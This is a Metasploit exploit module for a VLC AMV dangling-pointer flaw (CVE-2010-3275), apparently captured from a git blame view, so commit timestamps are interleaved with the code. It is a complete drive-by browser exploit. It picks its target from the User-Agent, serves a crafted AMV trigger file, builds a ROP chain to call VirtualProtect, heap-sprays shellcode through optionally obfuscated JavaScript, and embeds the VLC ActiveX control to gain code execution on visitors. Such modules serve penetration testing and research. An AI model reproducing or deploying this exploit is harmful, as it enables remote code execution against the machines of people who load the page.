2011-03-25 21:03:12 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2011-08-12 19:17:23 +00:00
|
|
|
Rank = GoodRanking
|
2011-03-25 21:03:12 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
2011-03-25 22:49:11 +00:00
|
|
|
'Name' => "VLC AMV Dangling Pointer Vulnerability",
|
2011-03-25 21:03:12 +00:00
|
|
|
'Description' => %q{
|
2011-08-11 15:25:14 +00:00
|
|
|
This module exploits VLC media player when handling a .AMV file. By flipping
|
|
|
|
the 0x41st byte in the file format (video width/height), VLC crashes due to an
|
|
|
|
invalid pointer, which allows remote attackers to gain arbitrary code execution.
|
|
|
|
The vulnerable packages include: VLC 1.1.4, VLC 1.1.5, VLC 1.1.6, VLC 1.1.7. Also,
|
|
|
|
please note that IE 8 targets require Java support in order to run properly.
|
2011-03-25 21:03:12 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => "$Revision$",
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'sinn3r',
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2011-03-28 03:04:54 +00:00
|
|
|
['CVE', '2010-3275'],
|
2011-03-26 12:05:48 +00:00
|
|
|
['OSVDB', '71277'],
|
2011-03-25 21:03:12 +00:00
|
|
|
['URL', 'http://www.coresecurity.com/content/vlc-vulnerabilities-amv-nsv-files'],
|
2011-03-28 03:04:54 +00:00
|
|
|
# Fix commit diff
|
|
|
|
['URL', 'http://git.videolan.org/?p=vlc/vlc-1.1.git;a=commitdiff;h=fe44129dc6509b3347113ab0e1a0524af1e0dd11']
|
2011-03-25 21:03:12 +00:00
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'BadChars' => "\x00",
|
2011-08-11 15:25:14 +00:00
|
|
|
'space' => 1024,
|
|
|
|
#Fix the stack before the decoder so we can decode properly
|
|
|
|
#SUB SP, 0X100; POPAD; POPFD
|
|
|
|
'PrependEncoder' => "\x66\x81\xec\x01\x01\x61",
|
|
|
|
#Fix the stack again so the payload runs properly
|
|
|
|
#ADD SP,0x61
|
|
|
|
'Prepend' => "\x66\x83\xc4\x61",
|
2011-03-25 21:03:12 +00:00
|
|
|
},
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'ExitFunction' => "process",
|
|
|
|
'InitialAutoRunScript' => 'migrate -f',
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', {} ],
|
2011-08-11 15:25:14 +00:00
|
|
|
[ 'Internet Explorer 6 on XP SP3', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ],
|
|
|
|
[ 'Internet Explorer 7 on XP SP3', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ],
|
|
|
|
[ 'Internet Explorer 8 on XP SP3', { 'Rop' => true, 'TargetAddr' => 0x77025024 } ],
|
|
|
|
[ 'Internet Explorer 7 on Vista', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ]
|
2011-03-25 21:03:12 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => "Mar 23 2011",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2011-08-11 15:25:14 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
|
|
|
|
], self.class)
|
2011-03-25 21:03:12 +00:00
|
|
|
end
|
|
|
|
|
2011-08-11 15:25:14 +00:00
|
|
|
def get_target(cli, request)
|
|
|
|
#Default target
|
|
|
|
my_target = target
|
2011-03-25 21:03:12 +00:00
|
|
|
|
2011-08-11 15:25:14 +00:00
|
|
|
print_status("User-Agent: #{request.headers['User-Agent']}") if datastore['VERBOSE']
|
2011-03-25 21:03:12 +00:00
|
|
|
|
2011-08-11 15:25:14 +00:00
|
|
|
if target.name == 'Automatic'
|
|
|
|
agent = request.headers['User-Agent']
|
2011-03-26 23:22:51 +00:00
|
|
|
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
|
2011-08-11 15:25:14 +00:00
|
|
|
#Windows XP + IE 6
|
|
|
|
my_target = targets[1]
|
2011-03-26 23:22:51 +00:00
|
|
|
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
|
2011-08-11 15:25:14 +00:00
|
|
|
#Windows XP + 7.0
|
|
|
|
my_target = targets[2]
|
|
|
|
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
|
|
|
|
#Windows XP + IE 8.0
|
|
|
|
my_target = targets[3]
|
2011-03-26 23:22:51 +00:00
|
|
|
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
|
2011-08-11 15:25:14 +00:00
|
|
|
#Windows Vista + IE 7.0. Win Server 2008 is also NT 6.0
|
|
|
|
my_target = targets[4]
|
2011-03-26 23:22:51 +00:00
|
|
|
elsif agent =~ /^vlc/
|
2011-03-25 21:03:12 +00:00
|
|
|
#VLC identifies itself as "VLC" when requesting our trigger file
|
2011-08-11 15:25:14 +00:00
|
|
|
return 'VLC'
|
2011-03-26 23:22:51 +00:00
|
|
|
elsif agent =~ /^NSPlayer/
|
2011-03-25 21:03:12 +00:00
|
|
|
#NSPlayer is also used while requesting the trigger file
|
2011-08-11 15:25:14 +00:00
|
|
|
return 'VLC'
|
2011-03-25 21:03:12 +00:00
|
|
|
else
|
2011-08-11 15:25:14 +00:00
|
|
|
#If we don't recognize the client, we don't fire the exploit
|
|
|
|
my_target = nil
|
2011-03-25 21:03:12 +00:00
|
|
|
end
|
|
|
|
end
|
2011-08-11 15:25:14 +00:00
|
|
|
|
|
|
|
return my_target
|
2011-03-26 00:07:36 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2011-08-11 15:25:14 +00:00
|
|
|
#Load trigger file
|
2011-03-26 00:07:36 +00:00
|
|
|
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-3275.amv")
|
|
|
|
f = File.open(path, "rb")
|
|
|
|
@trigger = f.read
|
|
|
|
f.close
|
2011-03-25 21:03:12 +00:00
|
|
|
|
2011-08-11 15:25:14 +00:00
|
|
|
#Set trigger file name
|
|
|
|
@filename = rand_text_alpha(rand(6) + 3)
|
|
|
|
|
2011-03-26 00:07:36 +00:00
|
|
|
super
|
2011-03-25 21:03:12 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
2011-08-11 15:25:14 +00:00
|
|
|
#Pick the right target
|
|
|
|
my_target = get_target(cli, request)
|
|
|
|
if my_target.nil?
|
|
|
|
print_error("Target not supported") if datastore['VERBOSE']
|
2011-03-25 21:03:12 +00:00
|
|
|
send_not_found(cli)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2011-08-11 15:25:14 +00:00
|
|
|
print_status("URL: #{request.uri.to_s}") if datastore['VERBOSE']
|
|
|
|
|
|
|
|
#Send the trigger file upon request
|
2011-03-25 21:03:12 +00:00
|
|
|
if request.uri.match(/\.amv/)
|
|
|
|
print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}")
|
2011-03-26 00:07:36 +00:00
|
|
|
send_response(cli, @trigger, { 'Content-Type' => 'text/plain' } )
|
2011-03-25 21:03:12 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2011-08-11 15:25:14 +00:00
|
|
|
#ARCH used by the victim machine
|
|
|
|
arch = Rex::Arch.endian(my_target.arch)
|
|
|
|
|
|
|
|
#Generate our payload
|
|
|
|
if my_target['Rop']
|
|
|
|
#IE 8 targets
|
|
|
|
#mona.py tekniq! + Payload
|
|
|
|
code = [
|
|
|
|
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
|
|
|
0x7c37a140, # Make EAX readable
|
|
|
|
0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
|
|
|
|
0x7c348b06, # EBP (NOP)
|
|
|
|
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
|
|
|
0x7c37a140, # <- VirtualProtect() found in IAT
|
|
|
|
0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
|
|
|
|
0x7c346c0b, # Slide, so next gadget would write to correct stack location
|
|
|
|
0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
|
|
|
|
0x7c348b06, # EDI (filler)
|
|
|
|
0x7c348b06, # will be patched at runtime (VP), then picked up into ESI
|
|
|
|
0x7c348b06, # EBX (filler)
|
|
|
|
0x7c376402, # POP EBP # RETN (msvcr71.dll)
|
|
|
|
0x7c345c30, # ptr to push esp # ret (from MSVCR71.dll)
|
|
|
|
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
|
|
|
0xfffff82f, # size 20001 bytes
|
|
|
|
0x7c351e05, # NEG EAX # RETN (MSVCR71.dll)
|
|
|
|
0x7c354901, # POP EBX # RETN (MSVCR71.dll)
|
|
|
|
0xffffffff, # pop value into ebx
|
|
|
|
0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll)
|
|
|
|
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
|
|
|
|
0x7c34d201, # POP ECX # RETN (MSVCR71.dll)
|
|
|
|
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
|
|
|
|
0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll)
|
|
|
|
0x7c34b8d8, # ROP NOP (-> edi)
|
|
|
|
0x7c344f87, # POP EDX # RETN (MSVCR71.dll)
|
|
|
|
0xffffffc0, # value to negate, target value : 0x00000040, target: edx
|
|
|
|
0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll)
|
|
|
|
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
|
|
|
0x90909090, # NOPS (-> eax)
|
|
|
|
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
|
|
|
|
].pack('V*')
|
|
|
|
|
|
|
|
#Append payload after the ROP chain
|
|
|
|
code << payload.encoded
|
|
|
|
|
|
|
|
#Align and 'jump' to our final payload at 0x0c0c0c0c
|
|
|
|
ini_stage = [
|
|
|
|
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
|
|
|
0x0c0c0c0c, # Address of the payload
|
|
|
|
0x7C348B05, # XCHG EAX,ESP # RETN (MSVCR71.dll)
|
|
|
|
].pack('V*')
|
|
|
|
|
|
|
|
#Add padding to line up the pivot correctly
|
|
|
|
ini_stage << rand_text_alpha(128-ini_stage.length)
|
|
|
|
|
|
|
|
nops = Rex::Text.to_unescape(rand_text_alpha(4), arch)
|
|
|
|
code = Rex::Text.to_unescape(code, arch)
|
|
|
|
pivot = Rex::Text.to_unescape(ini_stage + [my_target['TargetAddr']].pack('V*'), arch)
|
|
|
|
else
|
|
|
|
#Non IE 8 targets
|
|
|
|
nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
|
|
|
|
code = Rex::Text.to_unescape(payload.encoded, arch)
|
|
|
|
pivot = Rex::Text.to_unescape([my_target['TargetAddr']].pack('V*'), arch)
|
|
|
|
end
|
|
|
|
|
|
|
|
#First spray overwrites 0x0c0c0c0c with our payload
|
|
|
|
spray_1 = <<-JS
|
|
|
|
var heap_obj = new heapLib.ie(0x20000);
|
|
|
|
var code = unescape("#{code}");
|
|
|
|
var nops = unescape("#{nops}");
|
|
|
|
|
|
|
|
while (nops.length < 0x1000) nops += nops;
|
|
|
|
var offset = nops.substring(0, 0x600-0x20);
|
|
|
|
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
|
|
|
|
|
|
|
while (shellcode.length < 0x20000) shellcode += shellcode;
|
|
|
|
var block = shellcode.substring(0, (0x10000-6)/2);
|
|
|
|
|
|
|
|
heap_obj.gc();
|
|
|
|
|
|
|
|
for (var i=0; i<0x1000; i++) {
|
|
|
|
heap_obj.alloc(block);
|
|
|
|
}
|
|
|
|
JS
|
|
|
|
|
|
|
|
#An invalid pointer gets passed on to libdirectx_plugin!vlc_entry_license__1_1_0g,
|
|
|
|
#which requires us to fill up the memory as high as 0x303234ca
|
|
|
|
spray_2 = <<-JS
|
|
|
|
var padding = unescape("#{nops}");
|
|
|
|
var pivot = unescape("#{pivot}");
|
|
|
|
|
|
|
|
while (padding.length < 0x20000) padding += padding;
|
|
|
|
var offset2 = padding.substring(0, 0x1ff);
|
|
|
|
var p = offset2 + pivot + nops.substring(0, 0x800-pivot.length-offset2.length);
|
2011-03-25 21:03:12 +00:00
|
|
|
|
2011-08-11 15:25:14 +00:00
|
|
|
while (p.length < 0x20000) p += p;
|
|
|
|
var pivot_block = p.substring(0, (0x10000-6)/2);
|
|
|
|
|
|
|
|
for (var i2=0; i2 < 0x2000; i2++) {
|
|
|
|
heap_obj.alloc(pivot_block);
|
|
|
|
}
|
|
|
|
JS
|
|
|
|
|
|
|
|
#Use heaplib
|
|
|
|
js = heaplib(spray_1 + spray_2)
|
|
|
|
|
|
|
|
#obfuscate on demand
|
|
|
|
if datastore['OBFUSCATE']
|
|
|
|
js = ::Rex::Exploitation::JSObfu.new(js)
|
|
|
|
js.obfuscate
|
|
|
|
end
|
|
|
|
|
|
|
|
#Value for the 'Src' parameter of our ActiveX control
|
|
|
|
trigger_file = get_resource() + "/" + @filename + ".amv"
|
2011-03-25 21:03:12 +00:00
|
|
|
|
|
|
|
html = <<-EOS
|
|
|
|
<html>
|
|
|
|
<head>
|
|
|
|
</head>
|
|
|
|
<body>
|
2011-08-11 15:25:14 +00:00
|
|
|
<script language='javascript'>
|
|
|
|
#{js}
|
|
|
|
</script>
|
2011-03-25 21:03:12 +00:00
|
|
|
<object classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921"
|
|
|
|
codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab"
|
|
|
|
width="0" height="0"
|
|
|
|
events="True">
|
2011-08-11 15:25:14 +00:00
|
|
|
<param name="Src" value="#{trigger_file}"></param>
|
|
|
|
<param name="ShowDisplay" value="False" ></param>
|
|
|
|
<param name="AutoLoop" value="no"></param>
|
2011-03-25 21:03:12 +00:00
|
|
|
<param name="AutoPlay" value="yes"></param>
|
|
|
|
</object>
|
|
|
|
</body>
|
|
|
|
</html>
|
|
|
|
EOS
|
|
|
|
|
|
|
|
#Remove extra tabs in HTML
|
|
|
|
html = html.gsub(/^\t\t/, "")
|
|
|
|
|
|
|
|
print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
send_response( cli, html, {'Content-Type' => 'text/html'} )
|
|
|
|
end
|
2011-03-26 12:05:48 +00:00
|
|
|
end
|